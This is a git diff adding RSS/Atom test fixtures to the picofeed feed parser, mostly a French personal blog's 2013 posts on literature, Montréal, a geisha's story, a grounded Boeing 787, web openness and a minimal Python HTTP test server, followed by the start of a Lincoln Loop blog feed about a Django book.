+ <p>Pour ce faire, l'homme, du bout des doigts, enduisait d'huîle sa pâte de riz glutineux pour l'empêcher de coller, la pétrissait de façon à lui donner la forme d'un pot qu'il posait sur une planchette…</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Junichiro Tanizaki</span>, <cite class="titre">Mes années d'enfance</cite>.</p>
+</div>
+
+<p><img src="/2013/03/18/carte-shenzhen-delisle" style="float:right;margin-left: 1rem;" alt=""/>Des beignets de porc, et puis d'agneau à la coriandre chez <a href="http://bouchepleine.com/2011/01/24/pour-lamour-des-dumplings/">Qinghua</a>. La lecture de <a href="http://www.comicsgrid.com/2012/07/interpreting-shenzhen/">Shenzhen</a> de Guy Delisle trouvé à la librairie <a href="http://www.drawnandquarterly.com/">Drawn&amp;Quaterly</a> sur la rue Bernard. Quelques pensées le long du <a href="https://fr.wikipedia.org/wiki/Delta_de_la_rivi%C3%A8re_des_Perles">delta de la rivière des perles</a>. Une ville est née en moins de 30 ans.</p>
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+<entry>
+ <id>tag:la-grange.net,2013-03-17:2013/03/17/saint-patrick</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/03/17/saint-patrick"/>
+ <title>Saint-Patrick, une montagne de déchets</title>
+ <published>2013-03-17T23:59:00Z</published>
+ <updated>2013-03-18T18:55:31Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article lang="en">
+<figure>
+ <img src="/2013/03/17/4533-dechets" alt="Déchets dans la rue"/>
+ <figcaption>Montréal, Canada, 17 mars 2013</figcaption>
+</figure>
+
+<div class="extrait">
+ <blockquote cite="urn:isbn:2-07-073121-9">
+ <p>Elle était venue me rechercher à l'école probablement pour me faire voir le spectacle du quartier en ce jour de fête.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Junichiro Tanizaki</span>, <cite class="titre">Mes années d'enfance</cite>.</p>
+</div>
+
+<p>Je ne participe plus au défilé de la Saint-Patrick. Malheureusement, je suis passé par la rue Sainte-Catherine en fin d'après-midi après que la parade soit passée.</p>
+<p>La ville devient un tas d'immondices. La police encadre les lieux. Nombre de personnes sont dans un état d'ivresse plus qu'avancée et bruyante. Il n'y a rien de vraiment plaisant dans ces moments. Cet état de la ville ne cultive que la misanthropie.</p>
+
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+<entry>
+ <id>tag:la-grange.net,2013-03-08:2013/03/08/oume</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/03/08/oume"/>
+ <title>Oume Hanai, une femme et le spectacle de sa vie</title>
+ <published>2013-03-08T23:59:00Z</published>
+ <updated>2013-03-15T20:18:47Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article lang="en">
+<figure>
+ <img src="/2013/03/08/1888-oume-hanai-crime" alt="Image au pochoir de la scène du crime"/>
+ <figcaption>La scène du crime, 1888</figcaption>
+</figure>
+
+<div class="extrait">
+ <blockquote cite="urn:isbn:2-07-073121-9">
+ <p>De quel côté du quai de Hamacho Oume Hanai rendue célèbre par le meurtre de son amant Minekichi, avait-elle ouvert le « suitgetsu », sa maison de rendez-vous ? […] C'est au début de l'été 1887 qu'Oume commit son crime. Minekichi l'avait attirée là, le long de ce mur, par une nuit de crachin, vers onze heures et demie, et elle l'avait poignardé avec le grand couteau de cuisine qu'il avait sur lui. Plusieurs années avaient passé depuis ce fait divers quand nous sommes allés nous installer dans la nouvelle voie Fudo, mais ma mère avait dû avoir l'occasion d'apercevoir le visage d'Oume soit au temps de Yanagibashi, soit à l'époque du « Suigetsu », car lorsque celle-ci eut défrayé la chronique avec le meurtre du porteur de shamisen, ma mère allait répétant : « Cette geisha avait réellement fière allure, avec un teint plutôt foncé, et aussi quelque chose d'assez effrayant… C'est peut-être ce qu'on entend par "une belle femme"… » Elle m'avait donné une photo en me disant : « La voici, Oume. » Je l'ai conservée précieusement jusqu'à ce qu'elle fût réduite en cendres au moment du grand tremblement de terre de 1923, mais au simple vu du cliché, je comprenais bien ce que ma mère voulait dire. Au moment de l'affaire, Oumé avait vingt-quatre ans. Après avoir purgé une pein de prison de quinze ans, elle avait ouvert dans le secteur d'Okuyama à Asakusa une gargotte à shiruko, puis avait fait du music-hall. Ayant un jour appris qu'elle jouait dans un film — ce devait être dans les parages de l'« Opéra » —, j'avais pris la peine d'y aller pour la voir ; mais peut-être parce que les pellicules de la fin de l'ère Meiji manquaient fabuleusement de netteté, je ne trouvai pas la moindre ressemblance entre l'actrice et l'image en ma possession.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Junichiro Tanizaki</span>, <cite class="titre">Mes années d'enfance</cite>.</p>
+</div>
+
+<p><img src="/2013/03/08/Oume-Hanai-portrait" style="float:right;margin-left:1rem;" alt="portrait de Oume Hanai"/>Approchez, approchez, braves gens. Je viens vous compter l'histoire de Oume Hanai (<span lang="ja"><a href="http://ja.wikipedia.org/wiki/%E8%8A%B1%E4%BA%95%E3%81%8A%E6%A2%85">花井ãŠæ¢…</a></span>), une femme vivant du drame de sa vie. Oume était une geisha profondément amoureuse de <a href="http://www.kabuki21.com/gennosuke4.php">Sawamura Gennosuke IV</a> (<a lang="en" href="http://ja.wikipedia.org/wiki/%E6%BE%A4%E6%9D%91%E6%BA%90%E4%B9%8B%E5%8A%A9_%284%E4%BB%A3%E7%9B%AE%29">澤æ‘æºä¹‹åŠ©</a>), un acteur de <a href="https://fr.wikipedia.org/wiki/Kabuki">théâtre kabuki</a>, très reconnu pour son interprétation des rôles féminins (女方)—Les femmes ne sont pas admises sur la scène du kabuki. Un assistant, Kamekichi, était très amoureux de Oume Hanai.</p>
+
+<figure>
+ <img src="/2013/03/08/tokyo-1896-carte" alt="Détail de carte"/>
+ <figcaption><a href="http://en.wikipedia.org/wiki/File:Tokio1896.jpg">Carte de Tokyo en 1896</a>, Encyclopédie Brockhaus, 14e édition 1894-96, Berlin</figcaption>
+</figure>
+
+<p><img src="/2013/03/08/oume-hanai-ukiyoe" style="float:right; margin-left:1rem;" alt="scène du crime par Yoshitoshi pour le Yamato Shimbun"/> Durant la nuit du 9 juin 1887, le long des quais de la rivière Sumida, Kamekichi se fait plus pressant. Elle tue cet amant ou non amant avec un couteau. La scène du crime a été illustrée par Tsukioka Yoshitoshi (<a lang="ja" href="https://fr.wikipedia.org/wiki/Yoshitoshi">月岡芳年</a>) deux mois plus tard dans le journal Yamato (<a href="http://collections.lacma.org/node/191612">ébauche du dessin final</a>).</p>
+
+<p>Oume avait alors 24 ans. Pendant le procès, Oume dira que par auto-défense, elle désarma son adversaire et le tua en prenant son couteau. C'est l'une des versions possibles. L'accusation pousse la thèse du meurtre prémédité, où Oume aurait trouvé là le moyen de se débarasser d'un amant-jouet. La sentence fût la prison à vie.</p>
+
+<p>Elle sortit de prison en 1903 lorsqu'elle atteint l'âge de 40 ans. Elle décida d'ouvrir un café vendant du <a href="http://web-japan.org/nipponia/nipponia28/en/appetit/index.html">shiruko</a> près de Asakusa. Le premier jour d'ouverture, il y a eu plus de 80 personnes venus voir les lieux de cette femme à la réputation sulfureuse. Mais ses affaires ne marchèrent pas. Elle abandonne le café.</p>
+
+<p>Elle interprète finalement son propre rôle pour gagner sa vie. Elle mourût à l'âge de 53 ans à cause d'une pneumonie.</p>
+
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+<entry>
+ <id>tag:la-grange.net,2013-02-24:2013/02/24/avion</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/02/24/avion"/>
+ <title>Au cœur du spectacle</title>
+ <published>2013-02-24T23:59:00Z</published>
+ <updated>2013-03-15T18:21:08Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2013/01/16/13010037-avion-jal" alt="Avion à l'aéroport"/>
+ <figcaption>Narita, Japon, 16 janvier 2013</figcaption>
+</figure>
+
+
+
+<div class="extrait">
+ <blockquote cite="urn:isbn:9782707317612">
+ <p>Étrange théâtre fait de déterminations pures, agitant l'espace et le temps, agissant directement sur l'âme, ayant pour acteurs des larves - et pour lequel Artaud avait choisi le mot « cruauté ».</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Gilles Deleuze</span>, <cite class="titre">L'île déserte</cite>.</p>
+</div>
+
+<p><img src="/2013/01/16/13010036-tv" alt="" style="float:right; margin-left:1rem;"/>Le <a href="/2013/01/16/porte81">16 janvier</a>, nous devions prendre un <a href="https://fr.wikipedia.org/wiki/Boeing_787">avion 787</a> de la compagnie <a href="http://www.jal.com/">JAL</a> pour rentrer du Japon à Montréal (via Boston). À la porte d'embarquement, il y a un immense écran de télévision qui diffuse les nouvelles. Un avion de la compagnie <a href="http://www.ana.co.jp/">ANA</a>, un boeing 787, a ce matin fait un aterrissage d'urgence à cause d'une <a href="https://fr.wikipedia.org/wiki/Boeing_787#Incidents_et_accidents">batterie en feu</a>. Nous voilà, au milieu des autres passagers à regarder des nouvelles inquiétantes sur le type d'avion que nous devons prendre dans les prochaines heures. Un sentiment d'impuissance immense face aux structures économiques, techniques prend petit à petit place. L'humour est la seule bouée de sauvetage.</p>
+
+<figure>
+ <img src="/2013/01/16/13010035-tv" alt="Poste de télévision dans l'aéroport"/>
+ <figcaption>Narita, Japon, 16 janvier 2013</figcaption>
+</figure>
+
+<p>Une annonce est faite qui provoque la colère de certains, mais qui nous, elle et moi, rassure un peu. Le vol est retardé pour une inspection de l'appareil. Le spectacle se joue là en direct les cameramen et les photographes sont là. Les gens commencent à contacter leur famille pour annoncer qu'il y aura un retard. Les journalistes s'ennuient. Il n'y a que très peu d'information. Le spectacle se construit sur peu de faits, le reste c'est de la narration. Le sensationnel est toujours construit sur l'ennui.</p>
+
+<figure>
+ <img src="/2013/01/16/13010038-foule" alt="Photographes et passagers"/>
+ <figcaption>Narita, Japon, 16 janvier 2013</figcaption>
+</figure>
+
+<p>La compagnie annonce finalement que le vol sera annulé et que tous les avions 787 seront cloués au sol tant que le problème ne sera pas proprement identifié. Le grondement enfle. La foule se fait masse autour du comptoir. Les employés gèrent. Je suis toujours admiratif du courage de ces personnes qui sont chargées d'être la voix de décisions désagréables et d'avoir à subir en retour les remontrances des voyageurs agacés.</p>
+
+<figure>
+ <img src="/2013/01/16/13010039-pilote" alt="Pilote de l'avion et employés au comptoir"/>
+ <figcaption>Narita, Japon, 16 janvier 2013</figcaption>
+</figure>
+
+<p>Le pilote de l'avion ainsi qu'un certain nombre d'employés du personnel de bord font une ligne. Les mains croisés sur le devant, la posture droite, ils sont là dans leur rôle de représentation. Le pilote explique la situation et réalise de multiples excuses. À la fin, il rend le microphone, se remet dans la ligne et avec les autres s'incline pendant quelques secondes en face des passagers. Le langage corporel de l'excuse accompagne le discours qui vient d'être donné.</p>
+
+<p>Le vol JL8 ne partira pas aujourd'hui. Le spectacle a pourtant bien eu lieu.</p>
+<figure>
+ <img src="/2013/01/16/13010042-dashboard" alt="Panneau d'affichage des vols"/>
+ <figcaption>Narita, Japon, 16 janvier 2013</figcaption>
+</figure>
+
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+<entry>
+ <id>tag:la-grange.net,2013-03-12:2013/03/12/http</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/03/12/http"/>
+ <title>Serveur HTTP et protocole bidon</title>
+ <published>2013-03-13T01:19:00Z</published>
+ <updated>2013-03-13T01:42:40Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article lang="en">
+<figure>
+ <img src="/2007/09/22/6308-play" alt="Graffiti Play"/>
+ <figcaption>Montréal, Canada, 22 septembre 2007</figcaption>
+</figure>
+
+<div class="extrait">
+ <blockquote cite="urn:isbn:2-86930-109-X">
+ <p>Absolument. Puisque je suis peintre, je n'ai pas besoin de lire un roman du début à la fin, jusqu'au bout. Où que je le prenne, ça m'intéresse.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Natsume Soseki</span>, <cite class="titre">Oreiller d'herbes</cite>.</p>
+</div>
+
+<p>Comme j'ai un peu de temps en ce moment, je m'amuse à lire la <a href="http://tools.ietf.org/html/draft-ietf-httpbis-p1-messaging">spécification HTTP/1.1 bis</a> en détails en picorant ici et là. Je tente d'<a href="http://lists.w3.org/Archives/Public/ietf-http-wg/2013JanMar/1217.html">éclaircir</a> des <a href="http://tools.ietf.org/html/draft-ietf-httpbis-p1-messaging-22#section-3.1.1">points obscurs</a> tout en vérifiant si c'est <a href="http://stackoverflow.com/questions/15349387/testability-of-messages-with-characters-not-part-of-any-ascii-supersets-ex-jis/15349464">testable</a>. J'en profite pour créer une pseudo-librairie en python (non publique pour l'instant) en testant tous les requis de conformance de la spécification.</p>
+
+<p>Je me suis notamment demandé ce qui se passait si on fait une requête avec un nom de protocole bidon. Une requête normale en HTTP/1.1 est du type</p>
+
+<pre><code>GET / HTTP/1.1
+Host: www.w3.org</code></pre>
+
+<p>Mais que se passe-t-il, si on envoie</p>
+
+<pre><code>GET / BLAHBLAH/1.1</code></pre>
+
+<p>Dans le code de <a href="http://hg.python.org/cpython/file/3.3/Lib/http/server.py#l280">http.server</a> en python, en utilisant un protocole qui ne correspond à <code>HTTP/</code>, le serveur renvoie</p>
+
+<pre><code>400 Bad request version (%r)</code></pre>
+
+<p>avec <code>%r</code> la chaîne bidon qui a été envoyée. Ce qui est un peu inquiétant, car cela peut peut-être servir à faire de l'injection mais je n'ai pas vérifié. J'ai ensuite testé sur un Apache en local</p>
+
+
+<pre><code>→ telnet lagrange.test.site 80
+
+Trying 127.0.0.1...
+Connected to lagrange.test.site.
+Escape character is '^]'.
+GET / BLAHBLAH/1.0
+Host: lagrange.test.site
+
+HTTP/1.1 200 OK
+Date: Wed, 13 Mar 2013 00:15:54 GMT
+Server: Apache/2.2.22 (Unix) DAV/2 mod_ssl/2.2.22 OpenSSL/0.9.8r
+…</code></pre>
+
+<p>Ah pas bon. Il répond avec joie sans broncher. Je teste sur le site du <a href="http://www.w3.org/">W3C</a>.</p>
+
+<pre><code>→ telnet www.w3.org 80
+
+Trying 128.30.52.37...
+Connected to www.w3.org.
+Escape character is '^]'.
+GET / BLABLAH/1.1
+
+HTTP/1.0 400 Bad request
+Cache-Control: no-cache
+Connection: close
+Content-Type: text/html
+
+&lt;html&gt;&lt;body&gt;&lt;h1&gt;400 Bad request&lt;/h1&gt;
+Your browser sent an invalid request.
+&lt;/body&gt;&lt;/html&gt;
+Connection closed by foreign host.
+</code></pre>
+
+<p>Bonne réaction.</p>
+
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+<entry>
+ <id>tag:la-grange.net,2013-03-09:2013/03/09/web</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/03/09/web"/>
+ <title>Le Web, le choix de créer</title>
+ <published>2013-03-09T23:59:00Z</published>
+ <updated>2013-03-12T12:27:31Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article lang="en">
+<figure>
+ <img src="/2007/09/22/6277-amour" alt="Graffiti Amour"/>
+ <figcaption>Montréal, Canada, 22 septembre 2007</figcaption>
+</figure>
+
+<div class="extrait">
+ <blockquote cite="urn:isbn:2-86930-109-X">
+ <p>Je m'étends à l'abandon.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Natsume Soseki</span>, <cite class="titre">Oreiller d'herbes</cite>.</p>
+</div>
+
+<p>Le « Web » est partout. Le mot s'est infiltré dans tous les domaines, dans tous les univers. C'est un objet technologique, culturel, académique, économique. Il occupe l'espace de notre quotidien. À cause de cette grande diversité, le terme est utilisé pour mettre en opposition des choses qui ne le sont pas. Ces approximations de langage occultent souvent un autre débat. Le dernier en date est celui d'un <a href="http://standblog.org/blog/post/2013/02/08/La-fin-du-navigateur">billet par Tristan Nitot</a>.</p>
+
+<h2 id="des-termes-web-et-applications">Des termes : Web et applications</h2>
+
+<p>Il est courant de lire que « les applications mobiles sont une menace pour le Web ». C'est une mauvaise dichotomie. Cette affirmation, utilisée à tort, est un malheureux remplacement pour « Les applications dans des écosystèmes fermés sont une menace pour le Web. » Il s'agit bien là de deux choses entièrement différentes. Je choisis de prendre les deux définitions suivantes :</p>
+
+<ul>
+<li>Web == URI + HTTP + formats</li>
+<li>Applications (mobile ou desktop) == logiciels développés dans un langage de programmation quelconque.</li>
+</ul>
+
+<p>Le navigateur Web est une application codée le plus souvent en C++ qui utilise les protocoles du Web pour pouvoir communiquer. On a bien là une application native utilisant le Web. Les applications dite mobiles sont également de même nature que les navigateurs Web, d'ailleurs de très nombreuses applications sont des navigateurs Web ou utilisent un moteur de rendu Web sous-jacent. Quand une application sur un téléphone mobile, peu importe sa fermeture à la réutilisation des contenus et des données privées, de censure, si celle ci utilise HTTP + URI, elle fait du Web. Les applications, dites mobile, en code natif <strong>ne sont pas</strong> une menace pour le Web, pas plus, pas moins que tout autre application développée en Javascript + HTML.</p>
+
+<p>Ce n'est pas un bon axe pour la réflexion critique.</p>
+
+<h2 id="une-technologie-ouverte-et-non-captive">Une technologie ouverte et non captive</h2>
+
+<p>La définition technologique du Web par son ouverture (pas de brevets), développés par de nombreuses parties (compagnies, organisation) et son principe de fonctionnement (décentralisée) permettent une certaine liberté d'expression en donnant le pouvoir de publier et d'échanger à un très grand nombre de personnes. C'est une <strong>condition nécessaire mais pas suffisante</strong>. </p>
+
+<h2 id="les-choix-dun-magasin">Les choix d'un magasin</h2>
+
+<p>Certaines sociétés commerciales et organisations utilisent leur plateforme technique pour créer des écosystèmes homogènes et controlés à leur profit. Cela existe aussi dans notre monde physique. Dans le milieu du livre, nous aurons des librairies spécialisées dans un domaine, ne vendant qu'un type d'ouvrages qu'il s'agisse de langues, d'art, de politique, etc. Nous ne trouverons pas un livre pro-fasciste dans une librairie libertaire par exemple. De même, les sociétés commerciales créent des magasins d'applications dont ils décident les règles ainsi que le contenu. Nous connaissons maintenant tous les histoires d'applications retirées de tel magasin en ligne pour non conformité aux règles préalablement écrites.</p>
+
+<h2 id="des-systemes-clos-sans-espace-public">Des systèmes clos sans espace public</h2>
+
+<p>Quel est donc le véritable enjeu ? Ces sociétés commerciales ne se contentent pas d'ouvrir un magasin, elles sont également propriétaires des moyens de transport, de la rue, de la langue choisie, de la ville entière. Il n'y a pas de <strong>définition de l'espace public</strong> en soit. Par la verticalisation de tous les domaines d'interactions d'une personne avec une même marque qui n'est pas sous le contrôle du politique (l'ensemble des individus constituant la vie de la cité), des compagnies commerciales exercent un contrôle complet sur notre expression et finalement sur le Web. </p>
+
+<p>Nous pouvons imaginer qu'une fois l'écosystème suffisamment grand et contrôlant une masse critique de nos activités privées, une société commerciale puisse finalement ne plus laisser le choix. Elle est devenue le tout et nous sommes à l'intérieur de ce tout. L'enjeu des plateformes iOS, Android, Blackberry, Nokia, etc, réside au départ dans l'achat d'un appareil électronique obligeant à passer par un magasin particulier, sans opportunités de pouvoir en utiliser d'autres.</p>
+
+<h2 id="les-plate-formes-proprietaires">Les plate-formes propriétaires</h2>
+
+<p>Ce choix est celui des compagnies commerciales qui sont derrières ces magasins. Si sur les plateformes en question, on me laisse le choix du magasin de mon choix et d'avoir plusieurs magasins, je n'ai plus aucun problème, peu importe les règles spécifiques de chacun. Je retrouver une partie de ma liberté de choix de négocier avec une entité plutôt qu'une autre. Il me devient aussi possible de créer au lieu et dans les conditions qui correspondent à mes choix économiques, politiques, éthiques.</p>
+
+<h2 id="entre-les-outils-et-lexpression">Entre les outils et l'expression</h2>
+
+<p>Il est encore aujourd'hui possible d'accéder au Web par de nombreuses voies et en utilisant de nombreux outils différents. <strong>La liberté du Web ne tient pas à la nature des outils que l'on utilise.</strong> Ce n'est pas le navigateur Web qui garantit le futur du Web. La garantie d'une liberté d'expression, d'une participation commune sans être dépendant d'une marque unique dominant tout le marché tient dans la capacité des individus à pouvoir émettre un message et aux autres de pouvoir lire ce message.</p>
+
+<h2 id="internet-et-la-capacite-a-echanger">Internet et la capacité à échanger</h2>
+
+<p>Un des éléments de danger réside dans l'asymétrie de la connexion Internet. Tant que chaque individu ne pourra pas émettre de son point de connexion (son ordinateur connecté à la maison) de la même façon qu'une entreprise privée avec de gros serveurs et de gros tuyaux, l'infrastructure divisera les individus selon des critères de pouvoir en partie économique, mais également culturel et politique. Avec des « pauvres du média » devant avaler ce qui est émis et des « bourgeois » contrôlant le média par l'émission d'une information. </p>
+
+<p>L'achat d'un point de présence sur le Web est beaucoup moins élevé que celui d'une chaîne de télévision et bien moins complexe à mettre en œuvre. Le coût de déploiement de l'infrastructure est plus bas. Ceci est valable pour tous les protocoles ouverts sur Internet (mail, bittorrent, irc, Web, etc.)</p>
+
+<h2 id="des-inegalites-persistent">Des inégalités persistent</h2>
+
+<p>Cependant, il reste tout de même des difficultés d'accès pour les populations sans culture technologique et sans moyens économiques pour accéder à ce moyen d'expression. Les structures de pouvoir et l'expression ont d'autres barrières. Elles ont été abaissées mais elles existent toujours. De la même façon que les bourgeois ont fait la révolution en France pour éliminer le pouvoir des nobles. Plus de gens ont eu accès au pouvoir (diffuser un message) mais pas pour autant l'ensemble du peuple. Les inégalités se sont déplacées sur le terrain de la propriété (immobilière, ainsi qu'intellectuelle).</p>
+
+<h2 id="la-liberte-est-en-partie-avoir-le-choix-de-creer">La liberté est en partie avoir le choix de créer</h2>
+
+<p>Cependant Tristan conclue son article par ce qui était vraiment l'essentiel</p>
+
+<div class="extrait">
+<blockquote cite="http://standblog.org/blog/post/2013/02/08/La-fin-du-navigateur">
+ <p>la liberté d'apprendre en regardant le code source, la liberté de construire soi-même, la liberté d'utiliser le terminal de son choix, la liberté de publier et de faire des liens.</p>
+</blockquote>
+ <p class="source"><span class="auteur">Tristan Nitot</span>, <cite class="titre">La fin du navigateur</cite>.</p>
+</div>
+
+<p>Quels sont les principes importants et fondamentaux permettant aux gens de créer et de s'exprimer ? Et comment cela se traduit-il dans la technologie ?</p>
+
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+<entry>
+ <id>tag:la-grange.net,2013-02-23:2013/02/23/serveur-http-python</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/02/23/serveur-http-python"/>
+ <title>Un serveur HTTP en python pour tester</title>
+ <published>2013-02-23T23:59:00Z</published>
+ <updated>2013-03-10T19:45:10Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2005/04/12/7086-briques" alt="Tas de brique"/>
+ <figcaption>Séoul, Corée du Sud, 12 avril 2005</figcaption>
+</figure>
+
+
+
+<div class="extrait">
+ <blockquote cite="urn:isbn:9782707317612">
+ <p>Il en est toujours ainsi : les choses ne sont pas tellement progressives; avant même qu'une formation sociale s'établisse, ses instruments d'exploitation et de répression sont déjà là, tournant encore dans le vide, mais prêts à travailler dans le plein. </p>
+ </blockquote>
+ <p class="source"><span class="auteur">Gilles Deleuze</span>, <cite class="titre">L'île déserte</cite>.</p>
+</div>
+
+<p>Au cas où vous avez besoin de tester la réaction des navigateurs Web face à des en-têtes HTTP, une petite solution très rapide en python 3.</p>
+
+<pre><code>#!/usr/bin/env python3.3
+import http.server
+
+class HTTPHandler(http.server.BaseHTTPRequestHandler):
+ "A very simple server"
+ def do_GET(self):
+ if self.path == "/":
+ self.send_response(200)
+ self.send_header('Content-type', 'text/plain')
+ <strong>self.send_header('Toto', 'gloubiboulga')</strong>
+ self.end_headers()
+ self.wfile.write(bytes('Response body\n\n', 'latin1'))
+
+if __name__ == '__main__':
+ addr = ('', 9000)
+ http.server.HTTPServer(addr, HTTPHandler).serve_forever()</code>
+</pre>
+
+<p>Ce serveur répondra aux requêtes sur le port 9000 pour un <code>HTTP GET</code>. vous pouvez jouer avec les headers avec la commande <a href="http://docs.python.org/3/library/http.server#http.server.BaseHTTPRequestHandler.send_header"><code>send_header()</code></a>.</p>
+
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+<entry>
+ <id>tag:la-grange.net,2013-02-22:2013/02/22/climat</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/02/22/climat"/>
+ <title>Représentation du climat</title>
+ <published>2013-02-22T23:59:00Z</published>
+ <updated>2013-03-10T19:22:13Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2005/04/01/6562-plage" alt="Poste d'observation de baignade"/>
+ <figcaption>Olongapo, Phillippines, 1er avril 2005</figcaption>
+</figure>
+
+
+
+<div class="extrait">
+ <blockquote cite="urn:isbn:9782707317612">
+ <p>… lourde silhouette immobile paranoïaque qui fixe la marchandise autant qu'il est fixé par elle ; mais aussi ombre schizo mobile, en perpétuel déplacement par rapport à soi-mème, parcourant toute l'échelle du froid et du chaud, pour réchauffer le froid et refroidir le chaud, voyage incessant sur place.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Gilles Deleuze</span>, <cite class="titre">L'île déserte</cite>.</p>
+</div>
+
+<p>À garder dans un coin de ma mémoire pour plus tard. Un graphique de distribution de points pour un lieu donné avec deux axes :</p>
+
+<ul>
+ <li>la température</li>
+ <li>l'humidité</li>
+</ul>
+
+<p>Habituellement appelé un <span lang="en">scatter plot</span>. En représentant tous les points sur une année, il devrait être possible d'avoir une signature pour chaque ville. À tester.</p>
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+
+<entry>
+ <id>tag:la-grange.net,2013-02-21:2013/02/21/voyage</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/02/21/voyage"/>
+ <title>Le voyage imaginaire</title>
+ <published>2013-02-21T23:59:00Z</published>
+ <updated>2013-03-10T19:05:44Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2005/04/01/6560-bus" alt="Intérieur de bus abandonné"/>
+ <figcaption>Olongapo, Phillippines, 1er avril 2005</figcaption>
+</figure>
+
+
+
+<div class="extrait">
+ <blockquote cite="urn:isbn:9782707317612">
+ <p>Mais aussi, le nomade, ce n'est pas forcément quelqu'un qui bouge : il y a des voyages sur place, des voyages en intensité, et même historiquement les nomades ne sont pas ceux qui bougent à la manière des migrants, au contraire ce sont ceux qui ne bougent pas, et qui se mettent à nomadiser pour rester à la même place en échappant aux codes.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Gilles Deleuze</span>, <cite class="titre">L'île déserte</cite>.</p>
+</div>
+
+<ul>
+ <li>Se rendre dans une gare de train</li>
+ <li>Relever l'horaire du premier train et sa destination</li>
+ <li>Se diriger vers un kiosque à journaux</li>
+ <li>Relever le premier nom de ville internationale</li>
+ <li>Définir un voyage imaginaire en utilisant uniquement les moyens de transport terrestre</li>
+</ul>
+
+<p>Ne ratez par le train de votre imagination.</p>
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+
+</feed> \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/fixtures/lincoln_loop.xml b/vendor/fguillot/picofeed/tests/fixtures/lincoln_loop.xml
new file mode 100644
index 000000000..8e18601c2
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/lincoln_loop.xml
@@ -0,0 +1,1150 @@
+<?xml version="1.0" encoding="utf-8"?>
+<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title>Lincoln Loop Blog</title><link>http://lincolnloop.com/blog/</link><description>Lincoln Loop Blog</description><atom:link href="http://lincolnloop.com/blog/feeds/latest/" rel="self"></atom:link><language>en-us</language><lastBuildDate>Tue, 13 May 2014 11:51:13 -0500</lastBuildDate><item><title>High Performance Django Kickstarter Project</title><link>http://lincolnloop.com/blog/high-performance-django-kickstarter-project/</link><description>
+&lt;p&gt;&lt;strong&gt;Please update to our new feed url: &lt;a href="http://lincolnloop.com/blog/feed/"&gt;lincolnloop.com/blog/feed/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
+&lt;hr/&gt;
+&lt;p&gt;&lt;a href="https://www.kickstarter.com/projects/1704706557/high-performance-django" style="float:left;display:inline-block; margin: 0 2em 1em 0"&gt;&lt;img src="http://lincolnloop.com/uploads/uploads/hpd_cover.jpg" alt=""&gt;&lt;/a&gt;&lt;/p&gt;
+
+&lt;p&gt;I&amp;#39;m really excited to (finally) announce that we are writing a book! We&amp;#39;ve been working with Django professionally for a long time (over 7 years now). During that time, we&amp;#39;ve learned &lt;em&gt;a lot&lt;/em&gt; about how to use the framework to build fast and scalable websites. We&amp;#39;re bundling up all that knowledge into an e-book called &lt;strong&gt;&lt;em&gt;High Performance Django&lt;/em&gt;&lt;/strong&gt; and it is up on &lt;a href="https://www.kickstarter.com/projects/1704706557/high-performance-django"&gt;Kickstarter&lt;/a&gt; today.&lt;/p&gt;
+
+&lt;p&gt;We&amp;#39;re already well into the writing process, so we can tell you a little about what you&amp;#39;ll get. The book is heavy on Django tips, but also reaches far beyond Python, showing you how to architect and tune the rest of your stack. It gives you an opinionated battle-tested blueprint utilizing many of the same techniques as high-profile Django sites like Disqus, Instagram, and Pintrest.&lt;/p&gt;
+
